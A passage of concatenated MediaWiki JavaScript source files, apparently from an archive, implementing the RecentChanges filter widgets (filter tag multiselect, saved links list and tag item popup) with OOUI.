	var $rcFiltersRow,
		title = new OO.ui.LabelWidget( {
			label: mw.msg( 'rcfilters-activefilters' ),
			classes: [ 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-content-title' ]
		} ),
		$contentWrapper = $( '<div>' )
			.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper' );

	config = config || {};

	this.controller = controller;
	this.model = model;
	this.queriesModel = savedQueriesModel;
	this.$overlay = config.$overlay || this.$element;
	this.$wrapper = config.$wrapper || this.$element;
	this.matchingQuery = null;
	this.currentView = this.model.getCurrentView();
	this.collapsed = false;
	this.isMobile = config.isMobile;

	// Has to be before the parent constructor, because the parent constructor may call setValue()
	// which causes the onChangeTags handler to run (T245073)
	this.emptyFilterMessage = new OO.ui.LabelWidget( {
		label: mw.msg( 'rcfilters-empty-filter' ),
		classes: [ 'mw-rcfilters-ui-filterTagMultiselectWidget-emptyFilters' ]
	} );

	// Parent
	FilterTagMultiselectWidget.parent.call( this, $.extend( true, {
		label: mw.msg( 'rcfilters-filterlist-title' ),
		placeholder: mw.msg( 'rcfilters-empty-filter' ),
		inputPosition: 'outline',
		allowArbitrary: false,
		allowDisplayInvalidTags: false,
		allowReordering: false,
		$overlay: this.$overlay,
		menu: {
			// Our filtering is done through the model
			filterFromInput: false,
			hideWhenOutOfView: false,
			hideOnChoose: false,
			// Only set width and footers for desktop
			isMobile: this.isMobile,
			width: 650,
			footers: [
				{
					name: 'viewSelect',
					sticky: false,
					// View select menu, appears on default view only
					$element: $( '<div>' )
						.append( new ViewSwitchWidget( this.controller, this.model ).$element ),
					views: [ 'default' ]
				}
			]
		},
		/**
		 * In the presence of an onscreen keyboard (i.e. isMobile) the filter input should act as a button
		 * rather than a text input. Mobile screens are too small to accommodate both an
		 * onscreen keyboard and a popup-menu, so readyOnly is set to disable the keyboard.
		 * A different icon and shorter message is used for mobile as well. (See T224655 for details).
		 */
		input: {
			icon: this.isMobile ? 'funnel' : 'menu',
			placeholder: this.isMobile ? mw.msg( 'rcfilters-search-placeholder-mobile' ) : mw.msg( 'rcfilters-search-placeholder' ),
			readOnly: !!this.isMobile,
			classes: [ 'oo-ui-tagMultiselectWidget-input' ]
		}
	}, config ) );

	this.input.$input.attr( 'aria-label', mw.msg( 'rcfilters-search-placeholder' ) );

	this.savedQueryTitle = new OO.ui.LabelWidget( {
		label: '',
		classes: [ 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-content-savedQueryTitle' ]
	} );

	this.resetButton = new OO.ui.ButtonWidget( {
		framed: false,
		classes: [ 'mw-rcfilters-ui-filterTagMultiselectWidget-resetButton' ]
	} );

	this.hideShowButton = new OO.ui.ButtonWidget( {
		framed: false,
		flags: [ 'progressive' ],
		classes: [ 'mw-rcfilters-ui-filterTagMultiselectWidget-hideshowButton' ]
	} );
	this.toggleCollapsed( !!config.collapsed );

	if ( !mw.user.isAnon() ) {
		this.saveQueryButton = new SaveFiltersPopupButtonWidget(
			this.controller,
			this.queriesModel,
			{
				$overlay: this.$overlay
			}
		);

		this.saveQueryButton.$element.on( 'mousedown', function ( e ) {
			e.stopPropagation();
		} );

		this.saveQueryButton.connect( this, {
			click: 'onSaveQueryButtonClick',
			saveCurrent: 'setSavedQueryVisibility'
		} );
		this.queriesModel.connect( this, {
			itemUpdate: 'onSavedQueriesItemUpdate',
			initialize: 'onSavedQueriesInitialize',
			default: 'reevaluateResetRestoreState'
		} );
	}

	this.$content.append( this.emptyFilterMessage.$element );

	// Events
	this.resetButton.connect( this, { click: 'onResetButtonClick' } );
	this.hideShowButton.connect( this, { click: 'onHideShowButtonClick' } );
	// Stop propagation for mousedown, so that the widget doesn't
	// trigger the focus on the input and scrolls up when we click the reset button
	this.resetButton.$element.on( 'mousedown', function ( e ) {
		e.stopPropagation();
	} );
	this.hideShowButton.$element.on( 'mousedown', function ( e ) {
		e.stopPropagation();
	} );
	this.model.connect( this, {
		initialize: 'onModelInitialize',
		update: 'onModelUpdate',
		searchChange: this.isMobile ? function () {} : 'onModelSearchChange',
		itemUpdate: 'onModelItemUpdate',
		highlightChange: 'onModelHighlightChange'
	} );

	if ( !this.isMobile ) {
		this.input.connect( this, { change: 'onInputChange' } );
	}

	// The filter list and button should appear side by side regardless of how
	// wide the button is; the button also changes its width depending
	// on language and its state, so the safest way to present both side
	// by side is with a table layout
	$rcFiltersRow = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-row' )
		.append(
			this.$content
				.addClass( 'mw-rcfilters-ui-cell' )
				.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-cell-filters' )
		);

	if ( !mw.user.isAnon() ) {
		$rcFiltersRow.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-cell' )
				.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-cell-save' )
				.append( this.saveQueryButton.$element )
		);
	}

	// Add a selector at the right of the input
	this.viewsSelectWidget = this.createViewsSelectWidget();

	// change the layout of the viewsSelectWidget
	this.restructureViewsSelectWidget();

	// Event
	this.viewsSelectWidget.aggregate( { click: 'buttonClick' } );
	this.viewsSelectWidget.connect( this, { buttonClick: 'onViewsSelectWidgetButtonClick' } );

	$rcFiltersRow.append(
		$( '<div>' )
			.addClass( 'mw-rcfilters-ui-cell' )
			.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-cell-reset' )
			.append( this.resetButton.$element )
	);

	// Build the content
	$contentWrapper.append(
		$( '<div>' )
			.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-top' )
			.append(
				$( '<div>' )
					.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-top-title' )
					.append( title.$element ),
				$( '<div>' )
					.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-top-queryName' )
					.append( this.savedQueryTitle.$element ),
				$( '<div>' )
					.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-top-hideshow' )
					.append(
						this.hideShowButton.$element
					)
			),
		$( '<div>' )
			.addClass( 'mw-rcfilters-ui-table' )
			.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-wrapper-filters' )
			.append( $rcFiltersRow )
	);

	// Initialize
	this.$handle.append( $contentWrapper );
	this.emptyFilterMessage.toggle( this.isEmpty() );
	this.savedQueryTitle.toggle( false );

	this.$element
		.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget' );

	if ( this.isMobile ) {
		this.$element
			.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-mobile' );
	}

	this.reevaluateResetRestoreState();
};

/* Initialization */

OO.inheritClass( FilterTagMultiselectWidget, OO.ui.MenuTagMultiselectWidget );

/* Methods */

/**
 * Create a OOUI ButtonGroupWidget. The buttons are framed and have additional CSS
 * classes applied on mobile.
 *
 * @return {OO.ui.ButtonGroupWidget}
 */
FilterTagMultiselectWidget.prototype.createViewsSelectWidget = function () {
	var viewsSelectWidget = new OO.ui.ButtonGroupWidget( {
		classes: this.isMobile ?
			[
				'mw-rcfilters-ui-table',
				'mw-rcfilters-ui-filterTagMultiselectWidget-mobile-view'
			] :
			[
				'mw-rcfilters-ui-filterTagMultiselectWidget-views-select-widget'
			],
		items: [
			new OO.ui.ButtonWidget( {
				framed: !!this.isMobile,
				data: 'namespaces',
				icon: 'article',
				label: mw.msg( 'namespaces' ),
				title: mw.msg( 'rcfilters-view-namespaces-tooltip' ),
				classes: this.isMobile ? [ 'mw-rcfilters-ui-cell' ] : []
			} ),
			new OO.ui.ButtonWidget( {
				framed: !!this.isMobile,
				data: 'tags',
				icon: 'tag',
				label: mw.msg( 'tags-title' ),
				title: mw.msg( 'rcfilters-view-tags-tooltip' ),
				classes: this.isMobile ? [ 'mw-rcfilters-ui-cell' ] : []
			} )
		]
	} );

	viewsSelectWidget.items.forEach( function ( item ) {
		item.$button.attr( 'aria-label', item.title );
	} );

	return viewsSelectWidget;
};

/**
 * Rearrange the DOM structure of the viewsSelectWiget so that on the namespace & tags buttons
 * are at the right of the input on desktop, and below the input on mobile.
 */
FilterTagMultiselectWidget.prototype.restructureViewsSelectWidget = function () {
	if ( this.isMobile ) {
		// On mobile, append the search input and the extra buttons below the search input.
		this.$element.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-views-input' )
				.append( this.input.$element )
				.append( this.viewsSelectWidget.$element )
		);
	} else {
		// On desktop, rearrange the UI so the select widget is at the right of the input
		this.$element.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-table' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-row' )
						.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-views' )
						.append(
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-views-input' )
								.append( this.input.$element ),
							$( '<div>' )
								.addClass( 'mw-rcfilters-ui-cell' )
								.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-views-select' )
								.append( this.viewsSelectWidget.$element )
						)
				)
		);
	}
};

/**
 * Respond to button click event
 *
 * @param {OO.ui.ButtonWidget} buttonWidget Clicked widget
 */
FilterTagMultiselectWidget.prototype.onViewsSelectWidgetButtonClick = function ( buttonWidget ) {
	this.controller.switchView( buttonWidget.getData() );
	this.focus();
};

/**
 * Respond to model search change event
 *
 * @param {string} value Search value
 */
FilterTagMultiselectWidget.prototype.onModelSearchChange = function ( value ) {
	this.input.setValue( value );
};

/**
 * Respond to input change event
 *
 * @param {string} value Value of the input
 */
FilterTagMultiselectWidget.prototype.onInputChange = function ( value ) {
	this.controller.setSearch( value );
};

/**
 * Respond to query button click
 */
FilterTagMultiselectWidget.prototype.onSaveQueryButtonClick = function () {
	this.getMenu().toggle( false );
};

/**
 * Respond to save query model initialization
 */
FilterTagMultiselectWidget.prototype.onSavedQueriesInitialize = function () {
	this.setSavedQueryVisibility();
};

/**
 * Respond to save query item change. Mainly this is done to update the label in case
 * a query item has been edited
 *
 * @param {mw.rcfilters.dm.SavedQueryItemModel} item Saved query item
 */
FilterTagMultiselectWidget.prototype.onSavedQueriesItemUpdate = function ( item ) {
	if ( this.matchingQuery === item ) {
		// This means we just edited the item that is currently matched
		this.savedQueryTitle.setLabel( item.getLabel() );
	}
};

/**
 * Respond to menu toggle
 *
 * @param {boolean} isVisible Menu is visible
 */
FilterTagMultiselectWidget.prototype.onMenuToggle = function ( isVisible ) {

	var scrollToElement = this.isMobile ? this.input.$input : this.$element;

	// Parent
	FilterTagMultiselectWidget.parent.prototype.onMenuToggle.call( this );

	if ( isVisible ) {
		if ( !this.isMobile ) {
			this.focus();
		}

		mw.hook( 'RcFilters.popup.open' ).fire();

		if ( !this.getMenu().findSelectedItem() ) {
			// If there are no selected items, scroll menu to top
			// This has to be in a setTimeout so the menu has time
			// to be positioned and fixed
			setTimeout(
				function () {
					this.getMenu().scrollToTop();
				}.bind( this )
			);
		}

		// Only scroll to top of the viewport if:
		// - The widget is more than 20px from the top
		// - The widget is not above the top of the viewport (do not scroll downwards)
		//   (This isn't represented because >20 is, anyways and always, bigger than 0)
		this.scrollToTop( scrollToElement, 0, { min: 20, max: Infinity } );

	} else {
		// Clear selection
		this.selectTag( null );

		// Clear the search
		this.controller.setSearch( '' );

		this.blur();
	}

	if ( this.isMobile ) {
		this.input.setIcon( isVisible ? 'close' : 'funnel' );
	} else {
		this.input.setIcon( isVisible ? 'search' : 'menu' );
	}
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.onInputFocus = function () {

	// treat the input as a menu toggle rather than a text field on mobile
	if ( this.isMobile ) {
		this.input.$input.trigger( 'blur' );
		this.getMenu().toggle();
	} else {
		// Parent
		FilterTagMultiselectWidget.parent.prototype.onInputFocus.call( this );
	}
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.doInputEscape = function () {
	// Parent
	FilterTagMultiselectWidget.parent.prototype.doInputEscape.call( this );

	// Blur the input
	this.input.$input.trigger( 'blur' );
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.onMouseDown = function ( e ) {
	if ( !this.collapsed && !this.isDisabled() && e.which === OO.ui.MouseButtons.LEFT ) {
		this.menu.toggle();

		return false;
	}
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.onChangeTags = function () {
	// If initialized, call parent method.
	if ( this.controller.isInitialized() ) {
		FilterTagMultiselectWidget.parent.prototype.onChangeTags.call( this );
	}

	this.emptyFilterMessage.toggle( this.isEmpty() );
};

/**
 * Respond to model initialize event
 */
FilterTagMultiselectWidget.prototype.onModelInitialize = function () {
	this.setSavedQueryVisibility();
};

/**
 * Respond to model update event
 */
FilterTagMultiselectWidget.prototype.onModelUpdate = function () {
	this.updateElementsForView();
};

/**
 * Update the elements in the widget to the current view
 */
FilterTagMultiselectWidget.prototype.updateElementsForView = function () {
	var view = this.model.getCurrentView(),
		inputValue = this.input.getValue().trim(),
		inputView = this.model.getViewByTrigger( inputValue.slice( 0, 1 ) );

	if ( inputView !== 'default' ) {
		// We have a prefix already, remove it
		inputValue = inputValue.slice( 1 );
	}

	if ( inputView !== view ) {
		// Add the correct prefix
		inputValue = this.model.getViewTrigger( view ) + inputValue;
	}

	// Update input
	this.input.setValue( inputValue );

	if ( this.currentView !== view ) {
		this.scrollToTop( this.$element );
		this.currentView = view;
	}
};

/**
 * Set the visibility of the saved query button
 */
FilterTagMultiselectWidget.prototype.setSavedQueryVisibility = function () {
	if ( mw.user.isAnon() ) {
		return;
	}

	this.matchingQuery = this.controller.findQueryMatchingCurrentState();

	this.savedQueryTitle.setLabel(
		this.matchingQuery ? this.matchingQuery.getLabel() : ''
	);
	this.savedQueryTitle.toggle( !!this.matchingQuery );
	this.saveQueryButton.setDisabled( !!this.matchingQuery );
	this.saveQueryButton.setTitle( !this.matchingQuery ?
		mw.msg( 'rcfilters-savedqueries-add-new-title' ) :
		mw.msg( 'rcfilters-savedqueries-already-saved' ) );

	if ( this.matchingQuery ) {
		this.emphasize();
	}
};

/**
 * Respond to model itemUpdate event
 * fixme: when a new state is applied to the model this function is called 60+ times in a row
 *
 * @param {mw.rcfilters.dm.FilterItem} item Filter item model
 */
FilterTagMultiselectWidget.prototype.onModelItemUpdate = function ( item ) {
	if ( !item.getGroupModel().isHidden() ) {
		if (
			item.isSelected() ||
			(
				this.model.isHighlightEnabled() &&
				item.getHighlightColor()
			)
		) {
			this.addTag( item.getName(), item.getLabel() );
		} else {
			// Only attempt to remove the tag if we can find an item for it (T198140, T198231)
			if ( this.findItemFromData( item.getName() ) !== null ) {
				this.removeTagByData( item.getName() );
			}
		}
	}

	this.setSavedQueryVisibility();

	// Re-evaluate reset state
	this.reevaluateResetRestoreState();
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.isAllowedData = function ( data ) {
	return (
		this.model.getItemByName( data ) &&
		!this.isDuplicateData( data )
	);
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.onMenuChoose = function ( item ) {
	this.controller.toggleFilterSelect( item.model.getName() );

	// Select the tag if it exists, or reset selection otherwise
	this.selectTag( this.findItemFromData( item.model.getName() ) );

	if ( !this.isMobile ) {
		this.focus();
	}

};

/**
 * Respond to highlightChange event
 *
 * @param {boolean} isHighlightEnabled Highlight is enabled
 */
FilterTagMultiselectWidget.prototype.onModelHighlightChange = function ( isHighlightEnabled ) {
	var highlightedItems = this.model.getHighlightedItems();

	if ( isHighlightEnabled ) {
		// Add capsule widgets
		highlightedItems.forEach( function ( filterItem ) {
			this.addTag( filterItem.getName(), filterItem.getLabel() );
		}.bind( this ) );
	} else {
		// Remove capsule widgets if they're not selected
		highlightedItems.forEach( function ( filterItem ) {
			if ( !filterItem.isSelected() ) {
				// Only attempt to remove the tag if we can find an item for it (T198140, T198231)
				if ( this.findItemFromData( filterItem.getName() ) !== null ) {
					this.removeTagByData( filterItem.getName() );
				}
			}
		}.bind( this ) );
	}

	this.setSavedQueryVisibility();
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.onTagSelect = function ( tagItem ) {
	var menuOption = this.menu.getItemFromModel( tagItem.getModel() );

	this.menu.setUserSelecting( true );
	// Parent method
	FilterTagMultiselectWidget.parent.prototype.onTagSelect.call( this, tagItem );

	// Switch view
	this.controller.resetSearchForView( tagItem.getView() );

	this.selectTag( tagItem );
	this.scrollToTop( menuOption.$element );

	this.menu.setUserSelecting( false );
};

/**
 * Select a tag by reference. This is what OO.ui.SelectWidget is doing.
 * If no items are given, reset selection from all.
 *
 * @param {mw.rcfilters.ui.FilterTagItemWidget} [item] Tag to select,
 *  omit to deselect all
 */
FilterTagMultiselectWidget.prototype.selectTag = function ( item ) {
	var i, len, selected;

	for ( i = 0, len = this.items.length; i < len; i++ ) {
		selected = this.items[ i ] === item;
		if ( this.items[ i ].isSelected() !== selected ) {
			this.items[ i ].toggleSelected( selected );
		}
	}
};
/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.onTagRemove = function ( tagItem ) {
	// Parent method
	FilterTagMultiselectWidget.parent.prototype.onTagRemove.call( this, tagItem );

	this.controller.clearFilter( tagItem.getName() );

	tagItem.destroy();
};

/**
 * Respond to click event on the reset button
 */
FilterTagMultiselectWidget.prototype.onResetButtonClick = function () {
	if ( this.model.areVisibleFiltersEmpty() ) {
		// Reset to default filters
		this.controller.resetToDefaults();
	} else {
		// Reset to have no filters
		this.controller.emptyFilters();
	}
};

/**
 * Respond to hide/show button click
 */
FilterTagMultiselectWidget.prototype.onHideShowButtonClick = function () {
	this.toggleCollapsed();
};

/**
 * Toggle the collapsed state of the filters widget
 *
 * @param {boolean} isCollapsed Widget is collapsed
 */
FilterTagMultiselectWidget.prototype.toggleCollapsed = function ( isCollapsed ) {
	isCollapsed = isCollapsed === undefined ? !this.collapsed : !!isCollapsed;

	this.collapsed = isCollapsed;

	if ( isCollapsed ) {
		// If we are collapsing, close the menu, in case it was open
		// We should make sure the menu closes before the rest of the elements
		// are hidden, otherwise there is an unknown error in jQuery as ooui
		// sets and unsets properties on the input (which is hidden at that point)
		this.menu.toggle( false );
	}
	this.input.setDisabled( isCollapsed );
	this.hideShowButton.setLabel( mw.msg(
		isCollapsed ? 'rcfilters-activefilters-show' : 'rcfilters-activefilters-hide'
	) );
	this.hideShowButton.setTitle( mw.msg(
		isCollapsed ? 'rcfilters-activefilters-show-tooltip' : 'rcfilters-activefilters-hide-tooltip'
	) );

	// Toggle the wrapper class, so we have min height values correctly throughout
	this.$wrapper.toggleClass( 'mw-rcfilters-collapsed', isCollapsed );

	// Save the state
	this.controller.updateCollapsedState( isCollapsed );
};

/**
 * Reevaluate the restore state for the widget between setting to defaults and clearing all filters
 */
FilterTagMultiselectWidget.prototype.reevaluateResetRestoreState = function () {
	var defaultsAreEmpty = this.controller.areDefaultsEmpty(),
		currFiltersAreEmpty = this.model.areVisibleFiltersEmpty(),
		hideResetButton = currFiltersAreEmpty && defaultsAreEmpty;

	this.resetButton.setIcon(
		currFiltersAreEmpty ? 'history' : 'trash'
	);

	this.resetButton.setLabel(
		currFiltersAreEmpty ? mw.msg( 'rcfilters-restore-default-filters' ) : ''
	);
	this.resetButton.setTitle(
		currFiltersAreEmpty ? null : mw.msg( 'rcfilters-clear-all-filters' )
	);

	this.resetButton.toggle( !hideResetButton );
	this.emptyFilterMessage.toggle( currFiltersAreEmpty );
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.createMenuWidget = function ( menuConfig ) {
	return new MenuSelectWidget(
		this.controller,
		this.model,
		menuConfig
	);
};

/**
 * @inheritdoc
 */
FilterTagMultiselectWidget.prototype.createTagItemWidget = function ( data ) {
	var filterItem = this.model.getItemByName( data );

	if ( filterItem ) {
		return new FilterTagItemWidget(
			this.controller,
			this.model,
			this.model.getInvertModel( filterItem.getGroupModel().getView() ),
			filterItem,
			{
				$overlay: this.$overlay
			}
		);
	}
};

FilterTagMultiselectWidget.prototype.emphasize = function () {
	if (
		// eslint-disable-next-line no-jquery/no-class-state
		!this.$handle.hasClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-animate' )
	) {
		this.$handle
			.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-emphasize' )
			.addClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-animate' );

		setTimeout( function () {
			this.$handle
				.removeClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-emphasize' );

			setTimeout( function () {
				this.$handle
					.removeClass( 'mw-rcfilters-ui-filterTagMultiselectWidget-animate' );
			}.bind( this ), 1000 );
		}.bind( this ), 500 );

	}
};
/**
 * Scroll the element to top within its container
 *
 * @private
 * @param {jQuery} $element Element to position
 * @param {number} [marginFromTop=0] When scrolling the entire widget to the top, leave this
 *  much space (in pixels) above the widget.
 * @param {Object} [threshold] Minimum distance from the top of the element to scroll at all
 * @param {number} [threshold.min] Minimum distance above the element
 * @param {number} [threshold.max] Minimum distance below the element
 */
FilterTagMultiselectWidget.prototype.scrollToTop = function ( $element, marginFromTop, threshold ) {
	var container = OO.ui.Element.static.getClosestScrollableContainer( $element[ 0 ], 'y' ),
		pos = OO.ui.Element.static.getRelativePosition( $element, $( container ) ),
		containerScrollTop = $( container ).scrollTop(),
		effectiveScrollTop = $( container ).is( 'body, html' ) ? 0 : containerScrollTop,
		newScrollTop = effectiveScrollTop + pos.top - ( marginFromTop || 0 );

	// Scroll to item
	if (
		threshold === undefined ||
		(
			(
				threshold.min === undefined ||
				newScrollTop - containerScrollTop >= threshold.min
			) &&
			(
				threshold.max === undefined ||
				newScrollTop - containerScrollTop <= threshold.max
			)
		)
	) {
		$( container ).animate( {
			scrollTop: newScrollTop
		} );
	}
};

module.exports = FilterTagMultiselectWidget;
mediawiki.rcfilters/ui/SavedLinksListWidget.js000066600000010523151335045660015536 0ustar00var SavedLinksListItemWidget = require( './SavedLinksListItemWidget.js' ),
	SavedLinksListWidget;

/**
 * Quick links widget
 *
 * @class mw.rcfilters.ui.SavedLinksListWidget
 * @extends OO.ui.ButtonMenuSelectWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.SavedQueriesModel} model View model
 * @param {Object} [config] Configuration object
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 */
SavedLinksListWidget = function MwRcfiltersUiSavedLinksListWidget( controller, model, config ) {
	var $labelNoEntries = $( '<div>' )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-savedLinksListWidget-placeholder-title' )
				.text( mw.msg( 'rcfilters-quickfilters-placeholder-title' ) ),
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-savedLinksListWidget-placeholder-description' )
				.text( mw.msg( 'rcfilters-quickfilters-placeholder-description' ) )
		);

	config = config || {};

	// Parent
	SavedLinksListWidget.parent.call( this, $.extend( {
		classes: [ 'mw-rcfilters-ui-savedLinksListWidget-button' ],
		label: mw.msg( 'rcfilters-quickfilters' ),
		icon: 'bookmark',
		indicator: 'down',
		$overlay: this.$overlay,
		menu: {
			classes: [ 'mw-rcfilters-ui-savedLinksListWidget-menu' ],
			horizontalPosition: 'end',
			width: 300,
			popup: {
				$autoCloseIgnore: this.$overlay
				// $content: this.menu.$element
			}
		}
	}, config ) );

	this.controller = controller;
	this.model = model;
	this.$overlay = config.$overlay || this.$element;

	this.placeholderItem = new OO.ui.MenuOptionWidget( {
		classes: [ 'mw-rcfilters-ui-savedLinksListWidget-placeholder' ],
		label: $labelNoEntries,
		disabled: true,
		icon: 'bookmark'
	} );

	this.menu.aggregate( {
		click: 'menuItemClick',
		delete: 'menuItemDelete',
		default: 'menuItemDefault',
		edit: 'menuItemEdit'
	} );

	this.menu.addItems( [ this.placeholderItem ].concat( config.items || [] ) );

	// Events
	this.model.connect( this, {
		add: 'onModelAddItem',
		remove: 'onModelRemoveItem'
	} );
	this.menu.connect( this, {
		choose: 'onMenuChoose',
		menuItemDelete: 'onMenuItemRemove',
		menuItemDefault: 'onMenuItemDefault',
		menuItemEdit: 'onMenuItemEdit'
	} );
	// Disable key press handling for editing mode
	this.menu.onDocumentKeyPressHandler = function () {};

	this.placeholderItem.toggle( this.model.isEmpty() );
	// Initialize
	this.$element.addClass( 'mw-rcfilters-ui-savedLinksListWidget' );
};

/* Initialization */
OO.inheritClass( SavedLinksListWidget, OO.ui.ButtonMenuSelectWidget );

/* Methods */

/**
 * Respond to menu choose event
 *
 * @param {mw.rcfilters.ui.SavedLinksListItemWidget} item Menu item
 */
SavedLinksListWidget.prototype.onMenuChoose = function ( item ) {
	this.controller.applySavedQuery( item.getID() );
};

/**
 * Respond to menu item remove event
 *
 * @param {mw.rcfilters.ui.SavedLinksListItemWidget} item Menu item
 */
SavedLinksListWidget.prototype.onMenuItemRemove = function ( item ) {
	this.controller.removeSavedQuery( item.getID() );
};

/**
 * Respond to menu item default event
 *
 * @param {mw.rcfilters.ui.SavedLinksListItemWidget} item Menu item
 * @param {boolean} isDefault Item is default
 */
SavedLinksListWidget.prototype.onMenuItemDefault = function ( item, isDefault ) {
	this.controller.setDefaultSavedQuery( isDefault ? item.getID() : null );
};

/**
 * Respond to menu item edit event
 *
 * @param {mw.rcfilters.ui.SavedLinksListItemWidget} item Menu item
 * @param {string} newLabel New label
 */
SavedLinksListWidget.prototype.onMenuItemEdit = function ( item, newLabel ) {
	this.controller.renameSavedQuery( item.getID(), newLabel );
};

/**
 * Respond to menu add item event
 *
 * @param {mw.rcfilters.ui.SavedLinksListItemWidget} item Menu item
 */
SavedLinksListWidget.prototype.onModelAddItem = function ( item ) {
	if ( this.menu.findItemFromData( item.getID() ) ) {
		return;
	}

	this.menu.addItems( [
		new SavedLinksListItemWidget( item, { $overlay: this.$overlay } )
	] );
	this.placeholderItem.toggle( this.model.isEmpty() );
};

/**
 * Respond to menu remove item event
 *
 * @param {mw.rcfilters.ui.SavedLinksListItemWidget} item Menu item
 */
SavedLinksListWidget.prototype.onModelRemoveItem = function ( item ) {
	this.menu.removeItems( [ this.menu.findItemFromData( item.getID() ) ] );
	this.placeholderItem.toggle( this.model.isEmpty() );
};

module.exports = SavedLinksListWidget;
mediawiki.rcfilters/ui/TagItemWidget.js000066600000013200151335045660014164 0ustar00/**
 * Extend OOUI's TagItemWidget to also display a popup on hover.
 *
 * @class mw.rcfilters.ui.TagItemWidget
 * @extends OO.ui.TagItemWidget
 * @mixins OO.ui.mixin.PopupElement
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersViewModel
 * @param {mw.rcfilters.dm.FilterItem|null} invertModel
 * @param {mw.rcfilters.dm.FilterItem} itemModel Item model
 * @param {Object} config Configuration object
 * @cfg {jQuery} [$overlay] A jQuery object serving as overlay for popups
 */
var TagItemWidget = function MwRcfiltersUiTagItemWidget(
	controller, filtersViewModel, invertModel, itemModel, config
) {
	// Configuration initialization
	config = config || {};

	this.controller = controller;
	this.invertModel = invertModel;
	this.filtersViewModel = filtersViewModel;
	this.itemModel = itemModel;
	this.selected = false;

	TagItemWidget.parent.call( this, $.extend( {
		data: this.itemModel.getName()
	}, config ) );

	this.$overlay = config.$overlay || this.$element;
	this.popupLabel = new OO.ui.LabelWidget();

	// Mixin constructors
	OO.ui.mixin.PopupElement.call( this, $.extend( {
		popup: {
			padded: false,
			align: 'center',
			position: 'above',
			$content: $( '<div>' )
				.addClass( 'mw-rcfilters-ui-tagItemWidget-popup-content' )
				.append( this.popupLabel.$element ),
			$floatableContainer: this.$element,
			classes: [ 'mw-rcfilters-ui-tagItemWidget-popup' ]
		}
	}, config ) );

	this.popupTimeoutShow = null;
	this.popupTimeoutHide = null;

	this.$highlight = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-tagItemWidget-highlight' );

	// Add title attribute with the item label to 'x' button
	this.closeButton.setTitle( mw.msg( 'rcfilters-tag-remove', this.itemModel.getLabel() ) );

	// Events
	this.filtersViewModel.connect( this, { highlightChange: 'updateUiBasedOnState' } );
	if ( this.invertModel ) {
		this.invertModel.connect( this, { update: 'updateUiBasedOnState' } );
	}
	this.itemModel.connect( this, { update: 'updateUiBasedOnState' } );

	// Initialization
	this.$overlay.append( this.popup.$element );
	this.$element
		.addClass( 'mw-rcfilters-ui-tagItemWidget' )
		.prepend( this.$highlight )
		.attr( 'aria-haspopup', 'true' )
		.on( 'mouseenter', this.onMouseEnter.bind( this ) )
		.on( 'mouseleave', this.onMouseLeave.bind( this ) );

	this.updateUiBasedOnState();
};

/* Initialization */

OO.inheritClass( TagItemWidget, OO.ui.TagItemWidget );
OO.mixinClass( TagItemWidget, OO.ui.mixin.PopupElement );

/* Methods */

/**
 * Respond to model update event
 */
TagItemWidget.prototype.updateUiBasedOnState = function () {
	// Update label if needed
	var labelMsg = this.itemModel.getLabelMessageKey( this.invertModel && this.invertModel.isSelected() );
	if ( labelMsg ) {
		this.setLabel( $( '<div>' ).append(
			$( '<bdi>' ).html(
				// eslint-disable-next-line mediawiki/msg-doc
				mw.message( labelMsg, mw.html.escape( this.itemModel.getLabel() ) ).parse()
			)
		).contents() );
	} else {
		this.setLabel(
			$( '<bdi>' ).text(
				this.itemModel.getLabel()
			)
		);
	}

	this.setCurrentMuteState();
	this.setHighlightColor();
};

/**
 * Set the current highlight color for this item
 */
TagItemWidget.prototype.setHighlightColor = function () {
	var selectedColor = this.filtersViewModel.isHighlightEnabled() && this.itemModel.isHighlighted ?
		this.itemModel.getHighlightColor() :
		null;

	this.$highlight
		.attr( 'data-color', selectedColor )
		.toggleClass(
			'mw-rcfilters-ui-tagItemWidget-highlight-highlighted',
			!!selectedColor
		);
};

/**
 * Set the current mute state for this item
 */
TagItemWidget.prototype.setCurrentMuteState = function () {};

/**
